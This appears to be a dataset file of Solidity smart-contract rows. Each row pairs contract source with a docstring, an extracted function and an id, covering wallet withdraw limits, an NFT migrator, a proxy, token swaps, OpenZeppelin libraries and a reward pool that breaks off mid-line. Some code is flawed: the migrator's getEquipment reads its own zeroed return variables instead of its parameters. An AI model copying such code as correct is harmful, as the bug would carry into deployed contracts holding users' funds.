IDRCWalletMgrParams(_params); require(_value <= params.singleWithdrawMax()); require(_value >= params.singleWithdrawMin()); uint256 daysCount = _time.div(86400); // one day of seconds if (daysCount <= dayWithdrawRec.mul) { dayWithdrawRec.count = dayWithdrawRec.count.add(1); dayWithdrawRec.value = dayWithdrawRec.value.add(_value); require(dayWithdrawRec.count <= params.dayWithdrawCount()); require(dayWithdrawRec.value <= params.dayWithdraw()); } else { dayWithdrawRec.mul = daysCount; dayWithdrawRec.count = 1; dayWithdrawRec.value = _value; } uint256 monthsCount = _time.div(86400 * 30); if (monthsCount <= monthWithdrawRec.mul) { monthWithdrawRec.count = monthWithdrawRec.count.add(1); monthWithdrawRec.value = monthWithdrawRec.value.add(_value); require(monthWithdrawRec.value <= params.monthWithdraw()); } else { monthWithdrawRec.mul = monthsCount; monthWithdrawRec.count = 1; monthWithdrawRec.value = _value; } return true; } /** * @dev withdraw tokens, send tokens to target * * @param _token the token address that will be withdraw * @param _params the limitation parameters for withdraw * @param _time the timstamp of the withdraw time * @param _to is where the tokens will be sent to * _value is the number of the token * _fee is the amount of the transferring costs * _tokenReturn is the address that return back the tokens of the _fee */ function withdrawToken( address _token, address _params, uint256 _time, address payable _to, uint256 _value, uint256 _fee, address payable _tokenReturn ) public onlyOwner returns (bool) { require(_to != address(0)); require(_token != address(0)); require(_value > _fee); // require(_tokenReturn != address(0)); require(checkWithdrawAmount(_params, _value, _time)); ERC20 tk = ERC20(_token); uint256 realAmount = _value.sub(_fee); require(tk.transfer(_to, realAmount)); if (_tokenReturn != address(0) && _fee > 0) { require(tk.transfer(_tokenReturn, _fee)); } recordWithdraw(_time, _to, realAmount); emit WithdrawToken(_token, _to, realAmount); return true; } /** * @dev withdraw tokens, send tokens to target default wallet * * @param _token the token address that will be withdraw * @param _params the limitation parameters for withdraw * @param _time the timestamp occur the withdraw record * @param _value is the number of the token * _fee is the amount of the transferring costs * —tokenReturn is the address that return back the tokens of the _fee */ function withdrawTokenToDefault( address _token, address _params, uint256 _time, uint256 _value, uint256 _fee, address payable _tokenReturn ) public onlyOwner returns(bool) { return withdrawToken(_token, _params, _time, wallet, _value, _fee, _tokenReturn); } /** * @dev get the Deposit records number * */ function getDepositNum() public view returns(uint256) { return deposRecs.length; } /** * @dev get the one of the Deposit records * * @param _ind the deposit record index */ function getOneDepositRec(uint256 _ind) public view returns(uint256, address, uint256) { require(_ind < deposRecs.length); return (deposRecs[_ind].timeStamp, deposRecs[_ind].account, deposRecs[_ind].value); } /** * @dev get the withdraw records number * */ function getWithdrawNum() public view returns(uint256) { return withdrRecs.length; } /** * @dev get the one of the withdraw records * * @param _ind the withdraw record index */ function getOneWithdrawRec(uint256 _ind) public view returns(uint256, address, uint256) { require(_ind < withdrRecs.length); return (withdrRecs[_ind].timeStamp, withdrRecs[_ind].account, withdrRecs[_ind].value); } }
record withdraw into this contract _time the timstamp of the withdraw time _to is where the tokens will be sent to _value is the number of the token/
function recordWithdraw(uint256 _time, address payable _to, uint256 _value) public onlyOwner { withdrRecs.push(TransferRecord(_time, _to, _value)); }
12,834,610
// SPDX-License-Identifier: Unlicense pragma solidity 0.8.7; import { EtherOrcs } from "./EtherOrcs.sol"; import { ERC20 } from "./ERC20.sol"; contract Migrator { address implementation_; address public admin; EtherOrcs public oldOrcs; EtherOrcs public newOrcs; ERC20 public zug; address public burningAddress; uint256 public startingTime; mapping(uint256 => bool) public migrated; function initialize(address oldOrcs_,address newOrcs_, address zug_, address burningAddress_) public { require(msg.sender == admin); oldOrcs = EtherOrcs(oldOrcs_); newOrcs = EtherOrcs(newOrcs_); zug = ERC20(zug_); burningAddress = burningAddress_; startingTime = block.timestamp; } function implementation() public view returns (address impl) { impl = implementation_; } function migrateMany(uint256[] calldata ids) external { for (uint256 index = 0; index < ids.length; index++) { justMigrate(ids[index]); } } function migrateManyAndFarm(uint256[] calldata ids) external { for (uint256 index = 0; index < ids.length; index++) { migrateAndFarm(ids[index]); } } function migrateManyAndTrain(uint256[] calldata ids) external { for (uint256 index = 0; index < ids.length; index++) { migrateAndTrain(ids[index]); } } function migrateAndFarm(uint256 tokenId) public { _migrate(tokenId); //give retroactive time newOrcs.migrationAction(tokenId, msg.sender, EtherOrcs.Actions.FARMING); } function migrateAndTrain(uint256 tokenId) public { _migrate(tokenId); //give retroactive time newOrcs.migrationAction(tokenId, msg.sender, EtherOrcs.Actions.TRAINING); } function justMigrate(uint256 tokenId) public { _migrate(tokenId); } function _migrate(uint256 tokenId) internal { require(!migrated[tokenId], "already migrated"); //Check what the orc is doing (address owner, uint88 timestamp, EtherOrcs.Actions action_) = oldOrcs.activities(tokenId); require(msg.sender == oldOrcs.ownerOf(tokenId) || (action_ == EtherOrcs.Actions.FARMING && owner == msg.sender), "not allowed"); (uint8 body, uint8 helm, uint8 mainhand, uint8 offhand, uint16 level ,uint16 zugModifier , uint32 lvlProgress) = oldOrcs.orcs(tokenId); uint zugAmount; if (action_ == EtherOrcs.Actions.FARMING) { // We cant't transfer here, but it's safe there zugAmount = claimableZug(block.timestamp - timestamp, zugModifier); } else { // Transfer From to here oldOrcs.transferFrom(msg.sender, address(burningAddress), tokenId); } (helm, mainhand, offhand) = getEquipment(helm,mainhand,offhand); // Mint an excatly the the same orcs newOrcs.craft(msg.sender, tokenId,body,helm,mainhand,offhand,level,lvlProgress); migrated[tokenId] = true; if (block.timestamp - 25 hours < startingTime) zug.mint(owner,1 ether + zugAmount); } function getEquipment(uint8 helm_, uint8 mainhand_, uint8 offhand_) internal returns (uint8 helm, uint8 mainhand, uint8 offhand) { uint maxTier = 6; helm = _tier(helm) > maxTier ? helm - 4 : helm; mainhand = _tier(mainhand) > maxTier ? mainhand - 4 : mainhand; offhand = _tier(offhand) > maxTier ? offhand - 4 : offhand; } function claimableZug(uint256 timeDiff, uint16 zugModifier) internal pure returns (uint256 zugAmount) { zugAmount = timeDiff * (4 + zugModifier) * 1 ether / 1 days; } function _tier(uint16 id) internal pure returns (uint16) { if (id == 0) return 0; return ((id - 1) / 4 ); } }
give retroactive time
function migrateAndTrain(uint256 tokenId) public { _migrate(tokenId); newOrcs.migrationAction(tokenId, msg.sender, EtherOrcs.Actions.TRAINING); }
10,240,232
pragma solidity ^0.7.6; // SPDX-License-Identifier: MIT // Source code: https://github.com/DeCash-Official/smart-contracts import "../interface/DeCashProxyInterface.sol"; import "../lib/Address.sol"; import "./DeCashBase.sol"; import "./Proxy.sol"; /// @title DeCash Proxy Contract /// @author Fabrizio Amodio (ZioFabry) contract DeCashProxy is DeCashBase, Proxy { bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event ProxyInitiated(address indexed implementation); event ProxyUpgraded(address indexed implementation); // Construct constructor(address _decashStorageAddress) DeCashBase(_decashStorageAddress) { assert( _IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); version = 1; } function upgrade(address _address) public onlyLatestContract("upgrade", msg.sender) { _setImplementation(_address); emit ProxyUpgraded(_address); } function initialize(address _address) external onlyOwner { require( !_getBool(keccak256(abi.encodePacked("proxy.init", address(this)))), "Proxy already initialized" ); _setImplementation(_address); _setBool(keccak256(abi.encodePacked("proxy.init", address(this))), true); emit ProxyInitiated(_address); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address _address) private { require(Address.isContract(_address), "address is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _address) } } /** * @dev Returns the current implementation address. */ function _implementation() internal view override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } }
Returns the current implementation address./ solhint-disable-next-line no-inline-assembly
function _implementation() internal view override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } }
1,022,702
./partial_match/420666/0xF6f517df0e5cB5AaE1D96B83F7E43523eE674923/sources/TopKek/TopKek.sol
Stuck Balances Functions
function rescueToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) { return IERC20(tokenAddress).transfer(msg.sender, tokens); }
3,503,957
./full_match/4/0x3d6835E9a5c580eC1AAD998cf267c65288754479/sources/Bank/Chromium.sol
this function will swap cblt tokens for tokens that are allowed/
function swapForCblt( IERC20 fromToken, uint256 amount ) external payable { (uint256 sellTokenValue, uint256 buyTokenValue) = oracle.priceOfPair(address(fromToken), address(cbltToken)); uint returnAmount = SafeMath.mul(amount, SafeMath.findRate(sellTokenValue, buyTokenValue) ); returnAmount = SafeMath.div(returnAmount, 1000000); require(cbltToken.universalBalanceOf(address(this)) >= returnAmount, "Not enough tokens in Treasury."); fromToken.universalTransferFrom(msg.sender, address(this), amount); cbltToken.universalTransfer(msg.sender, returnAmount); liquidityAmount[fromToken] = SafeMath.add(liquidityAmount[fromToken], amount); emit ChromiumTrade(msg.sender, address(fromToken), amount, returnAmount); }
12,378,265
./full_match/1313161554/0xCFEED4a123ECa680aeA2DdEa6dde42DFE724D955/sources/contracts/feedVaults/targetVaults/TargetVault.sol
Set buy back token address/
function setBuyBackToken(address _buyBackToken) public virtual onlyOwner { require(_buyBackToken != address(0), "TargetVault(setBuyBackToken): buy back token cannot be zero address"); buyBackToken = _buyBackToken; tokenToBuyBackPath = [address(token), wBNB, buyBackToken]; emit BuyBackTokenChanged(buyBackToken); }
13,235,084
// SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface IPoolRewards { /// Emitted after reward added event RewardAdded(address indexed rewardToken, uint256 reward, uint256 rewardDuration); /// Emitted whenever any user claim rewards event RewardPaid(address indexed user, address indexed rewardToken, uint256 reward); /// Emitted after adding new rewards token into rewardTokens array event RewardTokenAdded(address indexed rewardToken, address[] existingRewardTokens); function claimReward(address) external; function notifyRewardAmount( address _rewardToken, uint256 _rewardAmount, uint256 _rewardDuration ) external; function notifyRewardAmount( address[] memory _rewardTokens, uint256[] memory _rewardAmounts, uint256[] memory _rewardDurations ) external; function updateReward(address) external; function claimable(address _account) external view returns (address[] memory _rewardTokens, uint256[] memory _claimableAmounts); function lastTimeRewardApplicable(address _rewardToken) external view returns (uint256); function rewardForDuration() external view returns (address[] memory _rewardTokens, uint256[] memory _rewardForDuration); function rewardPerToken() external view returns (address[] memory _rewardTokens, uint256[] memory _rewardPerTokenRate); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IVesperPool is IERC20 { function calculateUniversalFee(uint256 _profit) external view returns (uint256 _fee); function deposit() external payable; function deposit(uint256 _share) external; function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool); function excessDebt(address _strategy) external view returns (uint256); function permit( address, address, uint256, uint256, uint8, bytes32, bytes32 ) external; function poolRewards() external returns (address); function reportEarning( uint256 _profit, uint256 _loss, uint256 _payback ) external; function reportLoss(uint256 _loss) external; function resetApproval() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function withdrawETH(uint256 _amount) external; function whitelistedWithdraw(uint256 _amount) external; function governor() external view returns (address); function keepers() external view returns (address[] memory); function isKeeper(address _address) external view returns (bool); function maintainers() external view returns (address[] memory); function isMaintainer(address _address) external view returns (bool); function pricePerShare() external view returns (uint256); function strategy(address _strategy) external view returns ( bool _active, uint256 interestFeeObsolete, uint256 _debtRate, uint256 _lastRebalance, uint256 _totalDebt, uint256 _totalLoss, uint256 _totalProfit, uint256 _debtRatio, uint256 _externalDepositFee ); function stopEverything() external view returns (bool); function token() external view returns (IERC20); function tokensHere() external view returns (uint256); function totalDebtOf(address _strategy) external view returns (uint256); function totalValue() external view returns (uint256); // Function to get pricePerShare from V2 pools function getPricePerShare() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../interfaces/vesper/IPoolRewards.sol"; import "../interfaces/vesper/IVesperPool.sol"; contract PoolRewardsStorage { /// Vesper pool address address public pool; /// Array of reward token addresses address[] public rewardTokens; /// Reward token to valid/invalid flag mapping mapping(address => bool) public isRewardToken; /// Reward token to period ending of current reward mapping(address => uint256) public periodFinish; /// Reward token to current reward rate mapping mapping(address => uint256) public rewardRates; /// Reward token to Duration of current reward distribution mapping(address => uint256) public rewardDuration; /// Reward token to Last reward drip update time stamp mapping mapping(address => uint256) public lastUpdateTime; /// Reward token to Reward per token mapping. Calculated and stored at last drip update mapping(address => uint256) public rewardPerTokenStored; /// Reward token => User => Reward per token stored at last reward update mapping(address => mapping(address => uint256)) public userRewardPerTokenPaid; /// RewardToken => User => Rewards earned till last reward update mapping(address => mapping(address => uint256)) public rewards; } /// @title Distribute rewards based on vesper pool balance and supply contract PoolRewards is Initializable, IPoolRewards, ReentrancyGuard, PoolRewardsStorage { string public constant VERSION = "4.0.0"; using SafeERC20 for IERC20; /** * @dev Called by proxy to initialize this contract * @param _pool Vesper pool address * @param _rewardTokens Array of reward token addresses */ function initialize(address _pool, address[] memory _rewardTokens) public initializer { require(_pool != address(0), "pool-address-is-zero"); require(_rewardTokens.length != 0, "invalid-reward-tokens"); pool = _pool; rewardTokens = _rewardTokens; for (uint256 i = 0; i < _rewardTokens.length; i++) { isRewardToken[_rewardTokens[i]] = true; } } modifier onlyAuthorized() { require(msg.sender == IVesperPool(pool).governor(), "not-authorized"); _; } /** * @notice Notify that reward is added. Only authorized caller can call * @dev Also updates reward rate and reward earning period. * @param _rewardTokens Tokens being rewarded * @param _rewardAmounts Rewards amount for token on same index in rewardTokens array * @param _rewardDurations Duration for which reward will be distributed */ function notifyRewardAmount( address[] memory _rewardTokens, uint256[] memory _rewardAmounts, uint256[] memory _rewardDurations ) external virtual override onlyAuthorized { _notifyRewardAmount(_rewardTokens, _rewardAmounts, _rewardDurations, IERC20(pool).totalSupply()); } function notifyRewardAmount( address _rewardToken, uint256 _rewardAmount, uint256 _rewardDuration ) external virtual override onlyAuthorized { _notifyRewardAmount(_rewardToken, _rewardAmount, _rewardDuration, IERC20(pool).totalSupply()); } /// @notice Add new reward token in existing rewardsToken array function addRewardToken(address _newRewardToken) external onlyAuthorized { require(_newRewardToken != address(0), "reward-token-address-zero"); require(!isRewardToken[_newRewardToken], "reward-token-already-exist"); emit RewardTokenAdded(_newRewardToken, rewardTokens); rewardTokens.push(_newRewardToken); isRewardToken[_newRewardToken] = true; } /** * @notice Claim earned rewards. * @dev This function will claim rewards for all tokens being rewarded */ function claimReward(address _account) external virtual override nonReentrant { uint256 _totalSupply = IERC20(pool).totalSupply(); uint256 _balance = IERC20(pool).balanceOf(_account); uint256 _len = rewardTokens.length; for (uint256 i = 0; i < _len; i++) { address _rewardToken = rewardTokens[i]; _updateReward(_rewardToken, _account, _totalSupply, _balance); // Claim rewards uint256 _reward = rewards[_rewardToken][_account]; if (_reward != 0 && _reward <= IERC20(_rewardToken).balanceOf(address(this))) { _claimReward(_rewardToken, _account, _reward); emit RewardPaid(_account, _rewardToken, _reward); } } } /** * @notice Updated reward for given account. */ function updateReward(address _account) external override { uint256 _totalSupply = IERC20(pool).totalSupply(); uint256 _balance = IERC20(pool).balanceOf(_account); uint256 _len = rewardTokens.length; for (uint256 i = 0; i < _len; i++) { _updateReward(rewardTokens[i], _account, _totalSupply, _balance); } } /** * @notice Returns claimable reward amount. * @return _rewardTokens Array of tokens being rewarded * @return _claimableAmounts Array of claimable for token on same index in rewardTokens */ function claimable(address _account) external view virtual override returns (address[] memory _rewardTokens, uint256[] memory _claimableAmounts) { uint256 _totalSupply = IERC20(pool).totalSupply(); uint256 _balance = IERC20(pool).balanceOf(_account); uint256 _len = rewardTokens.length; _claimableAmounts = new uint256[](_len); for (uint256 i = 0; i < _len; i++) { _claimableAmounts[i] = _claimable(rewardTokens[i], _account, _totalSupply, _balance); } _rewardTokens = rewardTokens; } /// @notice Provides easy access to all rewardTokens function getRewardTokens() external view returns (address[] memory) { return rewardTokens; } /// @notice Returns timestamp of last reward update function lastTimeRewardApplicable(address _rewardToken) public view override returns (uint256) { return block.timestamp < periodFinish[_rewardToken] ? block.timestamp : periodFinish[_rewardToken]; } function rewardForDuration() external view override returns (address[] memory _rewardTokens, uint256[] memory _rewardForDuration) { uint256 _len = rewardTokens.length; _rewardForDuration = new uint256[](_len); for (uint256 i = 0; i < _len; i++) { _rewardForDuration[i] = rewardRates[rewardTokens[i]] * rewardDuration[rewardTokens[i]]; } _rewardTokens = rewardTokens; } /** * @notice Rewards rate per pool token * @return _rewardTokens Array of tokens being rewarded * @return _rewardPerTokenRate Array of Rewards rate for token on same index in rewardTokens */ function rewardPerToken() external view override returns (address[] memory _rewardTokens, uint256[] memory _rewardPerTokenRate) { uint256 _totalSupply = IERC20(pool).totalSupply(); uint256 _len = rewardTokens.length; _rewardPerTokenRate = new uint256[](_len); for (uint256 i = 0; i < _len; i++) { _rewardPerTokenRate[i] = _rewardPerToken(rewardTokens[i], _totalSupply); } _rewardTokens = rewardTokens; } function _claimable( address _rewardToken, address _account, uint256 _totalSupply, uint256 _balance ) internal view returns (uint256) { uint256 _rewardPerTokenAvailable = _rewardPerToken(_rewardToken, _totalSupply) - userRewardPerTokenPaid[_rewardToken][_account]; uint256 _rewardsEarnedSinceLastUpdate = (_balance * _rewardPerTokenAvailable) / 1e18; return rewards[_rewardToken][_account] + _rewardsEarnedSinceLastUpdate; } function _claimReward( address _rewardToken, address _account, uint256 _reward ) internal virtual { // Mark reward as claimed rewards[_rewardToken][_account] = 0; // Transfer reward IERC20(_rewardToken).safeTransfer(_account, _reward); } // There are scenarios when extending contract will override external methods and // end up calling internal function. Hence providing internal functions function _notifyRewardAmount( address[] memory _rewardTokens, uint256[] memory _rewardAmounts, uint256[] memory _rewardDurations, uint256 _totalSupply ) internal { uint256 _len 